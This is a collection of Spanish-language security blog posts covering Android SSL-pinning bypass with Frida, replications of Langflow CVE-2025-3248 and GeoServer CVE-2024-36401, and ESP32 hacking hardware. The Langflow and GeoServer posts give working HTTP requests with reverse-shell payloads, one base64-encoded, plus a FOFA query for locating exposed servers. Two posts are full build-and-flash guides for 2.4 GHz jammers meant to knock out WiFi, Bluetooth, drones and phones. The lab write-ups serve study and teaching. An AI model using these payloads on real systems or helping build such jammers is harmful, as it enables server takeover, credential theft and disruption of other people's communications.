En este artículo, explicaremos cómo puedes hacer el bypass de SSL pinning, que nos permite interceptar las peticiones de las aplicaciones con burpsuite/caido

Frida es un kit de herramientas open source que nos permite inyectar código de JavaScript en Apps móviles para interceptar las peticiones y su comportamiento en tiempo real. Básicamente nos permite hacerle pentest, o hacerle un análisis dinámico.

Requisitos previos:

• Android x86 rooteado
• Burpsuite/caido con el certificado en el android (referencia: https://redfoxsec.com/blog/installing-burp-suites-ca-as-a-system-certificate-on-android)
• python instalado en la maquina anfitrión

• adb

  Setup

  Mi setup actual es el siguiente: Android Studio con Pixel 3 y la API 24

Android Studio con emulador Android 7.0 x86 (API 24)

Requisitos para instalar frida

Si tenemos python instalado en el path nos debería salir el siguiente output:

C:\Users\aleja>py --version
Python 3.11.9

luego instalamos las siguientes librerías con pip:

pip install frida
pip install frida-tools
pip install objection

para verificar que frida se instalo, ponemos el siguiente comando(Android tiene que estar vinculado):

# nos saldrán todas las apps que están ejecutándose 
C:\Users\aleja>frida-ps -U
  PID  Name
-----  ----------------------------------------------
 9963  0000-0000
14938  Chrome
16961  Clock
15546  ElJavillo
10215  Google App
10988  Maps
16092  YouTube
 2606  adbd
 9462  audioserver
 9463  cameraserver
 9751  com.android.inputmethod.latin
10281  com.android.launcher3
 9915  com.android.phone

Ahora nos iremos al github de frida, e instalaremos frida-server la version x86: https://github.com/frida/frida/releases/download/17.3.2/frida-server-17.3.2-android-x86.xz Descomprimimos el .xz, cambiamos nombre a frida y pasamos el archivo frida a nuestro android en la ruta /data/local/tmp:

adb push frida /data/local/tmp
frida: 1 file pushed, 0 skipped. 88.7 MB/s (53074896 bytes in 0.571s)

Nos dirigimos al directorio de data y verificamos que existe el archivo frida:

generic_x86:/ # cd /data/local/tmp/
generic_x86:/data/local/tmp # ls -la
total 103704
drwxrwx--x 4 shell shell     4096 2025-10-05 21:42 .
drwxr-x--x 3 root  root      4096 2025-09-26 10:01 ..
drwxr-xr-x 2 shell shell     4096 2025-10-02 08:56 .studio
-rw-rw-rw- 1 shell shell     1330 2025-09-26 10:21 9a5ba575.0
-rwxr-xr-x 1 shell shell 53074896 2025-10-01 19:36 frida

le damos permisos de ejecución:

generic_x86:/data/local/tmp # chmod 755 frida

Ahora vamos al siguiente link: https://codeshare.frida.re/@akabe1/frida-multiple-unpinning y copiamos TODO el contenido, abrimos un notepad lo pegamos y lo guardamos como frida_multiple_unpinning.js

Guardando el script frida_multiple_unpinning.js

Burpsuite

activamos el proxy con el puerto 8080 adb shell settings put global http_proxy <IP-Android>:8080

en mi caso seria:

adb shell settings put global http_proxy 10.0.2.2:8080

Instalar nuestra app objetivo

Si tenemos un android rooteado en AndroidStudio, tendremos que tener un Android Puller básicamente seria instalar otro android x86 sin rootear: 1.Create virtual device

Creación de un dispositivo virtual secundario (no rooteado) — Android Puller

2.Imagen del sistema

Selección de imagen de sistema (Oreo/x86)

Iniciamos sesión en un playstore y descargamos algún app. evitar instalar apps bancarias. Luego de haber instalado, vamos a listar los paquetes con adb shell list packages nos saldrán todos los paquetes de nuestras apps, buscaremos la que instalamos, en este caso fue elJavillo. para una búsqueda mas fácil, podemos buscarlo por su nombre:

adb shell pm list packages | findstr eljavillo

package:comsisfarma.eljavillo con esto vamos a listar todas las rutas de los APK instaladas:

adb shell pm path comsisfarma.eljavillo

nos salen todas las apks

package:/data/app/comsisfarma.eljavillo-1/base.apk
package:/data/app/comsisfarma.eljavillo-1/split_config.en.apk
package:/data/app/comsisfarma.eljavillo-1/split_config.x86.apk
package:/data/app/comsisfarma.eljavillo-1/split_config.xxhdpi.apk

vamos a hacer adb pull para pasarlo a nuestro host anfitrión, para luego pasarlo al android rooteado

adb pull /data/app/comsisfarma.eljavillo-1/base.apk "C:\tu\ruta\base.apk"
adb pull /data/app/comsisfarma.eljavillo-1/split_config.x86.apk "C:\tu\ruta\eljavillo_x86.apk"
adb pull /data/app/comsisfarma.eljavillo-1/split_config.en.apk "C:\tu\ruta\eljavillo_en.apk"
adb pull /data/app/comsisfarma.eljavillo-1/split_config.xxhdpi.apk "C:\tu\ruta\split_config.xxhdpi.apk"

Luego de confirmar que tenemos todos los archivos en nuestro directorio preferido:

APKs extraídos en el host para instalación múltiple

en la terminal ponemos:

adb install-multiple eljavillo_base.apk eljavillo_x86.apk eljavillo_xxhdpi.apk eljavillo_en.apk

y verificamos que se instalo en nuestro android rooteado:

Aplicación instalada correctamente en el emulador rooteado

Disclaimer:

Esto es una prueba en un entorno controlado, no hay intenciones de vulnerar la aplicación del javillo.

SSL bypass

Luego de haber descargado nuestra aplicación objetivo, vamos a abrir 2 terminales, una con adb dentro de /data/local/tmp

Ejecución del binario frida en el emulador

y la otra en nuestro host donde tengamos nuestro archivo JavaScript para correr el siguiente comando

frida -U -f comsisfarma.eljavillo -l .\frida_multiple_unpinning.js

-f: nombre del paquete de nuestra app. -l: nombre del archivo .js

Hook inicial con frida y carga del script

esperamos 30s y nos saldrá [+], quiere decir que se hizo el bypass correctamente

Indicador de bypass exitoso tras la espera

si entramos a nuestro android, podemos confirmar que la app del javillo se abrió correctamente

Aplicación objetivo iniciada correctamente

para que el bypass funcione, tenemos que tener nuestra app objetivo cerrada, el script de frida corriendo, si funciona, frida abrirá la app sola con el bypass.

Interception successfully

en burp/caido ponemos intercept on y si enviamos una petición, vemos que nos sale sin problemas.

Intercepción activa de tráfico HTTP(S)

Con esto ya tendríamos nuestro entorno en android x86 listo para hacer pentesting/bug bounty.

Cualquier problema:

Contactarme por correo: snoody@toadsec.io

Referencias

https://github.com/frida/frida
https://redfoxsec.com/blog/installing-burp-suites-ca-as-a-system-certificate-on-android
https://codeshare.frida.re/@akabe1/frida-multiple-unpinning.js

Introducción

En el mundo de la ciberseguridad ya hemos visto un sin número de CVE y replicados, en algunos casos hasta parece mentira que se vuelvan a ver esta situaciones, indistintamente de la tecnología que estemos probando. Recientemente vimos un tweet donde se avisaba de una vulnerabilidad en Langflow, interfaz gráfica para construir, visualizar y administrar flujos de trabajo basados en modelos de lenguajes LLM, con modelos locales o con los GPT de OpenAI. Sin necesidad de escribir código.

Esto implica un beneficio ya que evita escribir código para interactuar con APIs LLM, simplificando el desarrollo para científicos de datos, profesionales de IA o hasta para no desarrolladores.

En este articulo deseo demostrarle lo fácil que es replicar un CVE-2025.

Origen del Hallazgo

Fuente: https://x.com/HunterMapping/status/1960285594409410770

Este aviso era todo lo que necesitamos para ponernos manos a la obra

Un simple query con fofa https://fofa.so/result?qbase64=IkxhbmdmbG93IiAmJiB0aXRsZT09IkxhbmdmbG93Ig%3D%3D

"Langflow" && title=="Langflow"

Nos arrojaba el resultado de aproximadamente 3193 resultados, 1977 ips únicas

Nota: estas pruebas fueron realizadas en un entorno controlado, sin embargo aclaramos que la replicación de la misma es sumamente trivial

Revisando el reporte https://github.com/langflow-ai/langflow/security/advisories/GHSA-4gv9-mp8m-592r, teníamos una idea claro de como funcionaba la vulnerabilidad.

1. La herramienta langflow para su implementación rápida utiliziba una imagen de docker que expone información sensitiva incluyendo el comando langflow superuser
2. Combinada con el endpoint /api/v1/validate/code, permite que un usuario pueda ejecutar /app/.venv/bin/langflow superuser dentro del contenedor y otorgarse permisos de superuser.

Poc

1. Probamos el exploit en un entorno controlado

   python3 cve-2025-3248.py http://ip:8501 'cat /etc/passwd'

   

   Ejecución de comandos remoto

   

   Descubrimos que en algunos casos, no había autenticación básica

   

   En otros casos observamos la exposición de API keys de diversos servicios, se notifico a los respectivos equipos sin éxito.

2. Una vez ya entendimos la vulnerabilidad solamente necesitamos modificar el payload para obtener una shell reversa

   

   En la petición cambiamos el endpoint al endpoint (/api/v1/validate/code) vulnerable y se realizo tipo

   POST  /api/v1/validate/code HTTP/1.1
   Host: ip:8501
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
   Accept: application/json, text/plain, */*
   Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
   Accept-Encoding: gzip, deflate, br
   Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0ODgzNWNmNy05OGIxLTQzNTctOTEyYi0zNWJjZmJlYjk5NGMiLCJ0eXBlIjoiYWNjZXNzIiwiZXhwIjoxNzg4ODE2ODQxfQ.onTcMcF0Hc7KhcKDZ1BGT2p6k_57C-AQnegoq1kqOF4
   Connection: keep-alive
   Referer: http://ip:8501/flows
   Cookie: access_token_lf=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0ODgzNWNmNy05OGIxLTQzNTctOTEyYi0zNWJjZmJlYjk5NGMiLCJ0eXBlIjoiYWNjZXNzIiwiZXhwIjoxNzg4ODE2ODQxfQ.onTcMcF0Hc7KhcKDZ1BGT2p6k_57C-AQnegoq1kqOF4; apikey_tkn_lflw=""; auto_login_lf=auto; sidebar:state=true
   Content-Length: 124
      
      
   {
     "code": "def foo(p=__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/192.168.0.10/9999 0>&1'\")):\n    pass"
   }
      
   

   

3. Impacto

   • Escalación de privilegios a nivel de superusuario: control total de la instancia de Langflow.
   • Acceso a todos los datos, flujos, credenciales y configuración de los usuarios.
   • Fuga de credenciales: el atacante puede extraer claves de API de terceros.
   • Exposición de variables de entorno (dentro del contenedor Docker).
   • Posibilidad de ejecutar instancias adicionales de Langflow mediante el comando «langflow run» dentro del contenedor, lo que puede agotar los recursos (CPU, memoria) y provocar la degradación del servicio.
   • Gestión integral de usuarios: el superusuario puede eliminar usuarios y restablecer sus contraseñas.

4. Recomendaciones

   • Nunca ejecutar langflow con privilegios de root
   • Validar siempre el entorno
   • Aplicar políticas de contenedor seguro

Conclusiones

Replicar esta prueba con el conocimiento necesario para la misma fue cuestión de 30 minutos a 1 hora máximo, indistintamente de la necesidad de implementar aplicaciones modernas y no bajarnos del la ola de IA, debes tomar las medidas de seguridad mínimas y no dejar configuraciones por defecto por el apuro de desplegar un proyecto a producción.

Referencias

• Langflow-Ai. (n.d.). Privilege escalation via CLI Superuser Creation (Post-RCE). GitHub. https://github.com/langflow-ai/langflow/security/advisories/GHSA-4gv9-mp8m-592r

Diseño de PCB elaborado por Snoody

En este artículo, explicaremos cómo puedes armar y programar nuestro badge versión rootedcon.

Este Badge es un dispositivo hecho con el microcontrolador ESP32 que nos ofrece diversas funcionalidades para poder hacer distintos tipos de ataques de WiFi, Bluetooth, BLE, Controles RC, Dispositivos IoT, e incluso en sistemas IOS, utilizando módulos nRF24 para generar interferencias en los diferentes tipos de tecnologías inalámbricas de 2.4Ghz , inundando los distintos canales con ruido y paquetes basura afectando incluso a dispositivos Apple.

Este dispositivo es capaz de interferir con un amplio espectro de equipos que operan en la banda de 2.4 GHz. Su acción puede afectar a altavoces Bluetooth, micrófonos inalámbricos, la conectividad de smartphones (principalmente WiFi y Bluetooth), redes WiFi, sistemas de control de drones, así como teclados y ratones inalámbricos. Destaca su capacidad para ejecutar ataques de spam de notificaciones dirigidos a dispositivos iOS (como iPhones o iPads) con versiones de software desactualizadas. Adicionalmente, posee la funcionalidad de escanear redes WiFi y Bluetooth activas en su proximidad.

Materiales necesarios para armar el Badge

• ESP32 Wroom32 UE o cualquier otro modelo de ESP32 de 38 pines

• nRF24L01 +PA + LNA (3x)
  

• Capacitores 10uf +10v (3x)
  

• TP4056 (Módulo de carga)
  

• Switch de 3 pines
  

• Batería LiPo 3.7v +1500mah (Dependiendo del tiempo de uso deseado, recomendable más de 1500mah)
  
• Neopixel WS2812B (x2)
• Screen OLED 1.3”
• Botones smd 5.2x5.2x2.5 (5x)

Opcional

• EBYTE E01-2G4M27D (3x) (para mejorar el rango de los ataques)
• Buzzer Activo 3v

Diseño de la PCB

Diagrama de Conexiones

Esquemático

Disclaimer:

Los pines de la pantalla pueden variar, nosotros utilizamos 1.3”, en caso de usar 0.96” quedaría así: GND->VCC->SCL->SDA

Conexión de la Batería

Flash del Firmware

Archivo de Descarga: Descargar rar

Estaremos utilizando el nRFBox de Cifertech En caso de que no reconozca el ESP32, descargar los drivers del mismo.

Dentro del Arduino IDE descargaremos la Version de ESP32 2.0.11:

y conectamos el ESP32:

Descargamos las siguientes librerías:
en caso de que falten algunas, instalarlas*

y antes de Flashear el contenido, Seleccionamos en Tools, Partitions Scheme> Minimal SPIFFS: y procedemos a Flashear el Firmware.

Posibles errores durante el flash

Librerías:

Alguna librería restante no descargada

Archivo de Buzzer:

En tal caso de algún error en el archivos, puedes eliminarlo y comentar el #include "buzzer.h" del archivo principal .ino

Cualquier otro problema:

Contactarme por correo: snoody@toadsec.io

Referencias

• CiferTech. (s. f.). GitHub - nRFBox

Diseño de PCB elaborado por Snoody

En este artículo, explicaremos cómo construir y optimizar un bloqueador de señales en la banda de 2.4 GHz, creando un dispositivo funcional con un ESP32, módulos nRF24 y un diseño en PCB para mejorar su estabilidad y rendimiento.

El ESP32-Bluelammer es un dispositivo capaz de interrumpir la comunicación de Bluetooth, WiFi, BLE, drones RC, IoT y más, utilizando un ESP32 y módulos nRF24 para generar interferencias mediante ataques de denegación de servicio (DoS). Inunda los canales con ruido y paquetes innecesarios, afectando una amplia gama de dispositivos.

Este jammer puede interrumpir audio en bocinas Bluetooth, micrófonos inalámbricos, conexiones de smartphones, redes WiFi, controles de drones, teclados y ratones inalámbricos, y prácticamente cualquier dispositivo que opere en 2.4 GHz.

Su alcance varía según la antena y configuración utilizada, pudiendo superar los 30 metros con antenas estándar de 2.4 GHz, y aumentando aún más con antenas de mayor ganancia o amplificadores de señal. Además, diseñar el circuito en una PCB optimizada permite mejorar la estabilidad, reducir interferencias no deseadas y facilitar el ensamblaje del dispositivo.

Materiales Utilizados

• ESP32 Wroom32 UE
  

• nRF24L01 +PA + LNA (2x)
  

• Capacitores 10uf +10v (2x)

Versión Portátil

• TP4056 (Módulo de carga)
  

• Switch de 3 pines
  

• Batería LiPo 3.7v +1000mah (Dependiendo del tiempo de uso deseado)
  

Versión Portátil Mejorada

• ESP32 Wroom32 UE
  

• Antena 8dbi con conector IPEX
  

• EBYTE E01-2G4M27D (2x)
  

• Antena 12dbi (2x)
  

• Capacitores 10uf +10v (2x)
  

• TP4056
  

• Switch de 3 pines
  

• Batería LiPo 3.7v 10000mah

Opcional

• 2 amplificadores de 8W 2.4Ghz (Puede ser de 2-4W sin problemas)
  

Diseño de la PCB

Archivo Gerber:
Descargar PCB

Diagrama de Conexiones

Esquemático

HSPI (Primer módulo nRF24L01)

VSPI (Segundo módulo nRF24L01)

Conexión de la Batería

Flasheo del Firmware

1. Dirígete al Web Flasher de emensta:
   https://esp32-bluejammerflasher.pages.dev

2. Selecciona el Jammer que te interese (en este caso, el Combo-Channel).

3. Una vez que se termine de flashear, desconecta el dispositivo y tendrás tu Jammer totalmente funcional.

Versión Final del Jammer con Amplificadores

Referencias

• EmenstaNougat. (s. f.). GitHub - EmenstaNougat/ESP32-Bluelammer
  https://github.com/EmenstaNougat/ESP32-Bluelammer

El Marauder es una herramienta versátil que permite llevar a cabo tanto ataques ofensivos como defensivos en redes WiFi y Bluetooth. Tiene similitudes con dispositivos como el Flipper Zero, que es popular por sus múltiples funcionalidades de pentesting.

El proyecto del Marauder fue creado por JustCallMeKoko, quien ha abierto las puertas para que cualquier persona pueda montar su propio dispositivo a un bajo costo y con hardware accesible.

¿Qué es el ESP32 Marauder?

El Marauder como lo menciona en su github es una colección de herramientas que permiten interactuar con redes WiFi y dispositivos Bluetooth desde un ESP32. Estas herramientas permiten realizar pruebas de penetración, como escaneo de redes, desconexión de dispositivos, y captura de handshakes WiFi. También incluye herramientas para detectar y analizar dispositivos Bluetooth cercanos.

Materiales Utilizados

Los materiales aquí pueden varias dependiendo de tus objetivos, en mi caso yo quise hacerlo portátil, para poder usarlo en el momento que quiera. Pero se puede hacer sin problemas con una protoboard.

• ESP32
• Pantalla Touch TFT LCD módulo ILI9341 2.4 Pulgadas (Es recomendado usar 2.8 pulgadas)

• Jumpers

Si deseas hacer la Versión Portátil:

• TP4056

• Mini DC-DC boost module (No es necesario, pero es mejor prevenir algún corto)

• Batería LiPo 3.7v, +1500mAh (recomendable, dependiendo de cuanto tiempo quieras que este encendido el Marauder)

  

• Switch

• Modulo GPS (Opcional)

  

  (Si alguien está interesado en hacer este proyecto me puede contactar para conseguirle los materiales baratos, discord: Snoody.)

Esquema de conexiones:

Versión no portátil

Versión Portátil

Las conexiones son las mismas que la imagen de arriba)

Archivo Gerber:
Descargar PCB

Diseño de la placa PCB para versión portátil

Parte Frontal

Parte Trasera

Si alguien esta interesado en tener una, me puede contactar para regalárselas

Flashear Esp32

Existen 2 formas de flashear el ESP32:

1. Vía web (Recomendada):

• Ventaja: Fácil de Flashear

Nos dirigimos a el Web Uploader de Spacehuhn: https://esp.huhn.me Nos aparecerá esto:

Lo siguiente que haremos es Conectar nuestro ESP32 a el puerto USB de nuestra PC/LAPTOP, una vez conectado le damos a connect y se nos desplegara una barra donde nos mostrara nuestros puertos COM disponibles:

Una vez seleccionado nuestro puerto del ESP32 nos aparecerá lo siguiente:

Aquí nos dirigimos a el Github de koko:

Y en esta parte nos aparecerá los archivos .bin que usaremos para flashear nuestro ESP32

En Nuestro caso usaremos el ESP32 Marauderv4, v6, Kit, Mini

Descargaremos lo siguiente:

El Bootloader, partitions, Boot App.

Por último, el firmware, al presionar el firmware nos redirigirá a esta página y la versión recomendada es la v4 _old_hardware.bin

Posibles errores: En mi caso intente instalar esta versión del firmware old hardware, pero esta no funciono, al momento de iniciar el marauder el Touch estaba invertido.

En caso de que algún firmware te funcione mal, intenta con otro o mira este enlace

El que me funciono a mi con pantalla de 2.4 pulgadas fue la v6_1.bin Descarga

Una vez descargados los 4 archivos, regresamos a la pagina de Web Uploader y agregamos los archivos en el siguiente orden:

Y le damos a Program, demora alrededor de 1-2 minutos (la imagen es para ilustrar, el botón)

Esta parte se puede hacer de primero para comprobar que se flashee bien, una vez flasheado nos podemos dirigir a esta página que es de SpaceHuhn también, esta es una terminal

Si todo esta correctamente flasheado debería aparecer:

ESP32 MARAUDER JUSTCALLMEKOKO, ETC.

1. Vía Arduino IDE:

Desventaja: Mas vulnerable a tener problemas en compilación

Recomiendo mirar este video si deseas instalarlo de esta forma:

Aquí se encuentra paso a paso la instalación vía IDE: Video Versión Final del ESP32 Portátil

Referencias:

• Justcallmekoko. (s. f.). GitHub - justcallmekoko/ESP32Marauder: A suite of WiFi/Bluetooth offensive and defensive tools for the ESP32. GitHub. https://github.com/justcallmekoko/ESP32Marauder

• Spacehuhn. (s. f.-a). ESPWebTool. https://esp.huhn.me/

• Spacehuhn. (s. f.). SpaceHuhn Serial Terminal. https://serial.huhn.me/

Nota: ¡Hola a todos! Ya algunos me conocerán soy Eduardo Samaniego y este es mi segunda entrada en este blog, quien diría que ha pasado prácticamente un año, bueno, en fin, espero que les guste este artículo, fue creado con mucho cariño y viene tambien de la mano de la materia de Ciberseguridad V impartida por el profesor Jose Moreno.

GeoServer es un servidor de código abierto basado en Java que facilita la visualización, edición y distribución de datos geoespaciales. Diseñado para proporcionar interoperabilidad en la gestión de información geográfica, GeoServer permite a los usuarios compartir datos provenientes de diversas fuentes, como bases de datos SIG, archivos de datos y servicios web.

Utiliza estándares abiertos del Open Geospatial Consortium (OGC), como WMS (Web Map Service) y WFS (Web Feature Service), para permitir la integración y el intercambio de datos entre diferentes sistemas. Su arquitectura flexible y escalable soporta una amplia gama de formatos de datos y proporciona servicios de mapas y capas que pueden ser visualizados en aplicaciones web y clientes.

Vulnerabilidad

La vulnerabilidad CVE-2024-36401 afecta a las versiones de GeoServer anteriores a 2.23.6, 2.24.4 y 2.25.2. Esta falla de seguridad permite la ejecución remota de código (RCE) por parte de usuarios no autenticados mediante la explotación de la evaluación insegura de nombres de propiedad como expresiones XPath en varios parámetros de solicitud OGC.

Específicamente, la vulnerabilidad se origina en la forma en que GeoServer utiliza la API de la biblioteca GeoTools para evaluar nombres de propiedades/atributos de tipos de características. La evaluación de estas propiedades se transfiere de manera insegura a la biblioteca commons-jxpath, que tiene la capacidad de ejecutar código arbitrario al procesar expresiones XPath. Aunque esta funcionalidad de XPath está diseñada para tipos de características complejas, se aplica incorrectamente a tipos de características simples, exponiendo así todas las instancias de GeoServer a esta vulnerabilidad.

Un atacante puede explotar esta vulnerabilidad enviando solicitudes maliciosas a través de los métodos OGC como WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic y WPS Execute. La explotación puede resultar en la ejecución

Podemos revisar el informe de esta vulnerabilidad en los siguientes enlaces

NVD - CVE-2024-36401 (nist.gov)

HACEMOS HINCAPIÉ EN QUE EL USO DE ESTA INFORMACIÓN ES EXCLUSIVAMENTE PARA FINES EDUCATIVOS, EN NINGÚN MOMENTO INCITAMOS AL USO INDEBIDO DE ESTA INFORMACIÓN PARA FINES POCO ÉTICOS

Requerimientos Necesarios

• VM Kali Linux (o cualquier distribución de Linux)
• VM Ubuntu Server (o cualquier distribución servidor)

1. Creación de un entorno con Docker y Docker-Compose

   Crearemos un docker-compose.yml

   

   Dentro setearemos la imagen que queremos utilizar en este caso utilizaremos un geoserver 2.23.2 que es una versión vulnerable

   version: '3'
   services:
    web:
      image: vulhub/geoserver:2.23.2
      ports:
       - "8080:8080"
       - "5005:5005"
   

   

   Ahora sí, finalmente inicializamos y ya tenemos el servidor activo

   docker compose up -d
   

   

   Si vamos a la dirección IP en un navegador podremos ver que tenemos el GeoServer

   

   Entramos al contenedor creador por el docker-compose.yml

   

2. Ataque

   

   En burp suite vemos una petición al servidor a la página del geoserver y lo mandamos al repeater (cabe destacar que en este caso se muestra el secuencer pero al que deben enviarlo es al repeater)

   Una vez aquí cambiamos la variable del get y ponemos un cambio, borramos todo y agregamos la línea

   GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
      
   Host: your-ip:8080
      
   Accept-Encoding: gzip, deflate, br
      
   Accept: /
      
   Accept-Language: en-US;q=0.9,en;q=0.8
      
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
      
   Connection: close
      
   Cache-Control: max-age=0
      
      
   

   Obviamente reemplazamos “your-ip” por la ip del servidor posteriormente hacemos una request y obtendremos una salida parecida a la siguiente

   

​ Si vemos el tmp del servidor vemos que se ejecutó un código y sale success1

​

Otro ejemplo serio utilizando post vemos que abajo en el java.lang-runtime.getRunTime() podemos ejecutar

Vemos que ya tenemos el success2 que sigue siendo un comando

1. Importancia a nivel más avanzado

Podríamos hacer una modificación en el código y redireccionar con curl por el método post a un webhook para que nos dé una salida que queramos en este caso yo hare un /etc/passwd.

Si nos vamos al webhook veremos que tenemos la salida

Tomemos en cuenta que tenemos una vulnerabilidad de ejecución de código remoto, esto quiere decir que fácilmente podríamos crearnos una reverse shell o hacer cualquier tipo de manipulación para crearnos una puerta trasera.

Un ejemplo claro de lo que acabamos de exponer es lo siguiente:

En este caso se ha modificado la excepción

POST /geoserver/wfs HTTP/1.1

Host: 192.168.50.212:8080

Accept-Encoding: gzip, deflate, br

Accept: */*

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Type: application/xml

Content-Length: 434



<wfs:GetPropertyValue service='WFS' version='2.0.0'

 xmlns:topp='http://www.openplans.org/topp'

 xmlns:fes='http://www.opengis.net/fes/2.0'

 xmlns:wfs='http://www.opengis.net/wfs/2.0'>

  <wfs:Query typeNames='sf:archsites'/>

  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjEyNC80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}')</wfs:valueReference>

</wfs:GetPropertyValue> 

Finalmente, si nos ponemos en escucha por el puerto 443 en nc que equivale a netcat y ejecutamos la petición podremos obtener una consola.

Conclusión

Al finalizar este articulo podemos señalar grandes puntos que nos han llevado a la construcción de el laboratorio de pruebas perfecto para poder visualizar la falla dentro de los servidores con GeoServer, logramos destacar la utilización de herramientas como Docker-Compose y Burp Suite que fueron parte del proceso de creación y explotación de la vulnerabilidad, hacemos especial énfasis en que no se recomienda si no se tienen los debidos conocimientos explotar la misma en entornos de producción.

La prueba de concepto utilizada a lo largo de este artículo ha demostrado la gravedad de la vulnerabilidad CVE-2024-36401 en GeoServer, resaltando la facilidad con la que un atacante no autenticado podría explotar dicha falla para ejecutar código arbitrario en servidores configurados con versiones vulnerables. Al recrear un entorno vulnerable y ejecutar la PoC de manera controlada, se evidenció cómo la manipulación de parámetros OGC puede comprometer la integridad y seguridad del sistema.

Dependiendo del entorno y la configuración específica, las consecuencias de esta vulnerabilidad podrían variar desde la simple alteración de datos hasta la obtención de control total sobre el servidor afectado. Esto pone tanto a la disponibilidad del servicio, como también la confidencialidad e integridad de la información geoespacial gestionada por GeoServer en peligro.

Queda en evidencia la importancia de la actualización inmediata a versiones no afectadas, además de la implementación de mejores prácticas de seguridad, como la restricción de acceso y la configuración de mecanismos de autenticación robustos. La identificación de instancias vulnerables mediante el uso de dorks en FOFA nos hace ver lo primordial que es monitorear y proteger activamente las instalaciones de GeoServer en producción

Hace un mes, vimos un proyecto que nos interesó bastante, este es el HackBat, una especie de herramienta o toolkit con variados módulos (WiFi, NFC, RF 433MHz) que están integrados a un RP2040 (Microprocesador utilizada en Raspberry Pi Pico o Zero).

Este proyecto se encuentra como Open Hardware en Github en donde uno puede descargar los esquemáticos y mandarlos a ensamblar en sitios como JLCPCB u otros. Nuestro HackBat esta incompleto ya que le faltan algunos módulos, pero trabajamos en arreglar eso.

No es Open Software, por lo que nosotros tenemos que programar las herramientas para poder utilizar el HackBat a su máximo potencial.

Esta guía tiene como objetivo presentar los primeros pasos a realizar para crear tu primer script en el HackBat de manera sencilla ya que la programación de embebidos no es tan difícil como parece serlo, por el momento.

Se utilizará Windows para esta guía, pero se puede realizar de manera similar en Linux con el mismo IDE que utilizaremos. Es muy buena idea tratar el HackBat como si fuera un Raspberry Pi Pico o Pi Zero, por lo que siempre hay que buscar documentación si es necesario.

1. Estaremos utilizando el IDE Thonny, descárgalo en este enlace https://thonny.org/. Este IDE es excelente para lo que haremos.

1. Conectamos el HackBat por MicroUSB a nuestro PC o Laptop que utilizaremos. Asegúrate que el cable pueda transmitir datos y no solo poder.

   

2. Al conectar el HackBat, una partición nueva llamada RPI-RP2 aparece

   

3. Abrimos el IDE Thonny y configuramos el interprete en las opciones de arriba

   

4. Cambiamos el tipo de interprete a MicroPython(RP2040)

   

5. Ahora instalaremos el MicroPython en nuestro HackBat, hacemos click en Instala o actualiza MicroPython

   

6. Si todo sale bien, el IDE Thonny debe de detectar la partición de RPI-RP2 y poder realizar la instalación con las siguientes opciones, utilizaremos la versión de MicroPython para Raspberry Pi Pico ya que utilizan el mismo microcontrolador RP2040.

   

7. Al realizar la instalación, podemos observar en el IDE Thonny una consola de Python que corre actualmente en el HackBat en la cual podemos interactuar.

   

   Esta es la consola REPL, en donde es utilizada para correr y probar código sin reiniciar constantemente el HackBat por reconexión de USB.

8. Ahora podemos crear nuestro primer script en el HackBat utilizando Python.

   

1. Ahora que creamos nuestro primer script y guardarlo localmente en nuestro PC con el nombre holamundo.py, podemos subirlo al HackBat.

   

   Esto lo sube el archivo holamundo.py al directorio principal / del HackBat

   

   Ahora sabemos que en ambos lados existe el archivo holamundo.py, este archivo es guardado en la memoria flash del HackBat, en nuestro caso utilizamos una memoria externa de 128mb.

2. Ahora ya subida, podemos reiniciar nuestro HackBat por el IDE y observar su comportamiento al iniciar.

   

   Hacemos click en el icono rojo para reiniciar.

3. Podemos ver que, en efecto, hace nada al reiniciar. Esto se debe a que MicroPython requiere de un archivo especial, llamado boot.py en donde corre todo su código en Python al darle poder, podemos hacer uno rápidamente.

   

   Creamos un archivo llamado boot.py y le damos el código de impresión de un mensaje y luego lo subimos al HackBat.

   

   Al reiniciar, podemos observar que corre el código en el boot.py y NO de otro archivo que se encuentra. El HackBat no compilara código que no esté declarado en el boot.py.

4. Realizamos otra modificación al boot.py para verificar que, en efecto, se puede correr código de otro archivo por boot.py.

   

   Acuérdate de ser cuidadoso con la sobreescritura de archivos o podrás perder archivos.

   

   Con esto podemos tener una idea de futuros experimentos.

5. Con los esquemáticos del HackBat, podemos ver que tiene 2 LED utilizables y 5 botones, lo suficiente para realizar pruebas como las siguientes

   

En los esquemáticos podemos observar los leds (GPIO14, GPIO15) y los botones (GPIO22, GPIO26, GPIO27, GPIO28, GPIO29) Podemos encontrar los esquemáticos en el Github.

Un código que realiza el encendido y apagado de un LED.

No olvidemos actualizar nuestro boot.py y subirlo al HackBat.

1. Realizaremos otra prueba con un botón y un LED ahora.

   

Acuérdate de subir el archivo al HackBat y editar el boot.py

Resultados en consola después de presionar 5 veces el botón de arriba.

Reflexiones Finales

Espero les allá gustado esta guía ya que muestra que no es tan difícil la programación de embebidos y espero que puedan crear otros tipos de script utilizando MicroPython, aun falta mucho por hacer, pero poco a poco se realizan las metas.

La meta intermedia es poder ensamblarlo completo con los módulos que le faltan y como meta final poder realizar pruebas de penetración tanto como de RF y NFC con este pequeño toolkit que uno mismo puede programar, y también correr DOOM.

